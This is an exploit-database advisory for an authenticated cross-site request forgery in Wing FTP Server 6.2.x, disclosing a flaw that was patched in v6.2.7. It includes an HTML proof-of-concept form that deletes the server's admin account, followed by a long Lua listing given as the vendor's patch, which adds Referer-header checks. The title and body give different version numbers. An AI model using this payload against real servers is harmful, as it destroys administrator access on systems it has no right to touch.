Share
# Exploit Title: Wing FTP Server 6.2.3 - Authenticated Cross Site Request Forgery  
# Date: 2020-03-10  
# Exploit Author: Dhiraj Mishra  
# Vendor Homepage: https://www.wftpserver.com  
# Version: v6.2.6  
# Tested on: Windows 10  
  
*Summary:*  
An authenticated CSRF exists in web client and web administration of Wing  
FTP v6.2.6, a crafted HTML page could delete admin user from the  
application where as administration needs to re-install the program and add  
admin user again. Issue was patched in v6.2.7.  
  
*Proof of concept:*  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://IP:5466/admin_delete_admin.html" method="POST">  
<input type="hidden" name="username" value="admin" />  
<input type="hidden" name="r" value="0.9219583354400562" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
*Patch (lua/cgiadmin.lua):*  
URL: https://www.wftpserver.com/serverhistory.htm  
  
local outfunc = "echo"  
  
local function out (s, i, f)  
s = string.sub(s, i, f or -1)  
if s == "" then return s end  
s = string.gsub(s, "([\\\n\'])", "\\%1")  
s = string.gsub(s, "\r", "\\r")  
return string.format(" %s('%s'); ", outfunc, s)  
end  
  
local function translate (s)  
s = string.gsub(s, "<%%(.-)%%>", "<??lua %1 ??>")  
local res = {}  
local start = 1  
while true do  
local ip, fp, target, exp, code = string.find(s, "<%?%?(%w*)[  
\t]*(=?)(.-)%?%?>", start)  
if not ip then break end  
table.insert(res, out(s, start, ip-1))  
if target ~= "" and target ~= "lua" then  
table.insert(res, out(s, ip, fp))  
else  
if exp == "=" then  
table.insert(res, string.format(" %s(%s);", outfunc, code))  
else  
table.insert(res, string.format(" %s ", code))  
end  
end  
start = fp + 1  
end  
table.insert(res, out(s, start))  
return table.concat(res)  
end  
  
local function compile (src, chunkname)  
return loadstring(translate(src),chunkname)  
end  
  
function include (filename, env)  
if incfiles[filename] == nil then  
incfiles[filename] = true;  
path = c_GetAppPath()  
path = path .. "/webadmin/"..filename  
local errstr = string.format("<b>The page '%s' does not  
exist!</b>",filename)  
local fh,_ = io.open (path)  
if not fh then  
echo_out = echo_out..errstr  
return  
end  
local src = fh:read("*a")  
fh:close()  
local prog = compile(src, path)  
  
local _env  
if env then  
_env = getfenv (prog)  
setfenv (prog, env)  
end  
  
local status,err = pcall(prog)  
if not status then  
if type(err) == "string" and not string.find(err,"exit function!") then  
print(string.format("some error in %s!",err))  
end  
return  
end  
end  
end  
  
function var_dump(var)  
print("{")  
if type(var) == "string" or type(var) == "number" or type(var) == "boolean"  
or type(var) == "function" then  
print(var)  
elseif(type(var) == "thread") then  
print("thread")  
elseif(type(var) == "userdata") then  
print("userdata")  
elseif type(var) == "nil" then  
print("nil")  
elseif type(var) == "table" then  
for k,v in pairs(var) do  
if type(k) == "string" then k="'"..k.."'" end  
if(type(v) == "string") then  
print(k.."=>'"..v.."',")  
elseif(type(v) == "number" or type(v) == "boolean") then  
print(k.."=>"..tostring(v)..",")  
elseif(type(v) == "function") then  
print(k.."=>function,")  
elseif(type(v) == "thread") then  
print(k.."=>thread,")  
elseif(type(v) == "userdata") then  
print(k.."=>userdata,")  
elseif(type(v) == "nil") then  
print(k.."=>nil,")  
elseif(type(v) == "table") then  
print(k.."=>table,")  
else  
print(k.."=>object,")  
end  
end  
else  
print("object")  
end  
print("}")  
end  
  
function init_get()  
local MatchedReferer = true  
if _SESSION_ID ~= nil then  
local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)")  
if Referer ~= nil and Referer ~= "" then  
local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)")  
if Host ~= nil and Host ~= "" then  
if string.sub(Referer,8,string.len(Host)+7) == Host or  
string.sub(Referer,9,string.len(Host)+8) == Host then  
MatchedReferer = true  
else  
MatchedReferer = false  
exit()  
end  
end  
else  
MatchedReferer = false  
end  
end  
  
string.gsub (urlparam, "([^&=]+)=([^&=]*)&?",  
function (key, val)  
if key == "domain" then  
if MatchedReferer == true then  
rawset(_GET,key,val)  
else  
rawset(_GET,key,specialhtml_encode(val))  
end  
else  
if MatchedReferer == true then  
rawset(_GET,unescape(key),unescape(val))  
else  
--rawset(_GET,unescape(key),specialhtml_encode(unescape(val)))  
end  
end  
end  
)  
end  
  
function init_post()  
local MatchedReferer = true  
if _SESSION_ID ~= nil then  
local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)")  
if Referer ~= nil and Referer ~= "" then  
local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)")  
if Host ~= nil and Host ~= "" then  
if string.sub(Referer,8,string.len(Host)+7) == Host or  
string.sub(Referer,9,string.len(Host)+8) == Host then  
MatchedReferer = true  
else  
MatchedReferer = false  
exit()  
end  
end  
else  
MatchedReferer = false  
end  
end  
  
if  
string.find(strHead,"[cC]ontent%-[tT]ype:%s?multipart/form%-data;%s?boundary=")  
then  
string.gsub (strContent,  
"[cC]ontent%-[dD]isposition:%s?form%-data;%s?name=\"([^\"\r\n]*)\"\r\n\r\n([^\r\n]*)\r\n",  
function (key, val)  
if key == "domain" then  
if MatchedReferer == true then  
rawset(_POST,key,val)  
else  
rawset(_POST,key,specialhtml_encode(val))  
end  
else  
if MatchedReferer == true then  
rawset(_POST,unescape(key),unescape(val))  
else  
--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))  
end  
end  
end  
)  
else  
string.gsub (strContent, "([^&=\r\n]+)=([^&=\r\n]*)&?",  
function (key, val)  
if key == "domain" then  
if MatchedReferer == true then  
rawset(_POST,key,val)  
else  
rawset(_POST,key,specialhtml_encode(val))  
end  
else  
if MatchedReferer == true then  
rawset(_POST,unescape(key),unescape(val))  
else  
--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))  
end  
end  
end  
)  
end  
end  
  
function init_session()  
if _COOKIE["UIDADMIN"] ~= nil then  
_SESSION_ID = _COOKIE["UIDADMIN"]  
SessionModule.load(_SESSION_ID)  
end  
end  
  
function init_cookie()  
local cookiestr = string.match(strHead,"[cC]ookie:%s?(%s[^\r\n]*)")  
if cookiestr == nil or cookiestr == "" then return end  
string.gsub (cookiestr, "([^%s;=]+)=([^;=]*)[;%s]?",  
function (key, val)  
rawset(_COOKIE,unescape(key),unescape(val))  
end  
)  
end  
  
function setcookie(name,value,expire_secs)  
if name == "UIDADMIN" then return end  
local expiretime = os.date("!%A, %d-%b-%Y %H:%M:%S GMT",  
os.time()+3600*24*365)  
_SETCOOKIE = _SETCOOKIE.."Set-Cookie: "..name.."="..value..";  
expires="..expiretime.."\r\n"  
rawset(_COOKIE,name,value)  
end  
  
function getcookie(name)  
if name == "UIDADMIN" then return end  
return _COOKIE[name]  
end  
  
function deletecookie(name)  
setcookie(name,"",-10000000)  
end  
  
function deleteallcookies()  
for name,_ in pairs(_COOKIE) do  
deletecookie(name)  
end  
end  
  
local cookie_metatable =  
{  
__newindex = function(t,k,v)  
setcookie(k,v,360000)  
end  
}  
setmetatable(_COOKIE,cookie_metatable)  
  
session_metatable =  
{  
__newindex = function(t,k,v)  
if type(v) ~= "table" then  
if k ~= nil then  
k = string.gsub(k,"'","")  
k = string.gsub(k,"\"","")  
end  
if v ~= nil then  
--v = string.gsub(v,"%[","")  
--v = string.gsub(v,"%]","")  
end  
rawset(_SESSION,k,v)  
SessionModule.save(_SESSION_ID)  
end  
end  
}  
--setmetatable(_SESSION,session_metatable)  
  
function init_all()  
init_cookie()  
init_session()  
init_get()  
init_post()  
end  
  
function setContentType(typestr)  
_CONTENTTYPE = typestr  
end  
  
function exit()  
error("exit function!")  
end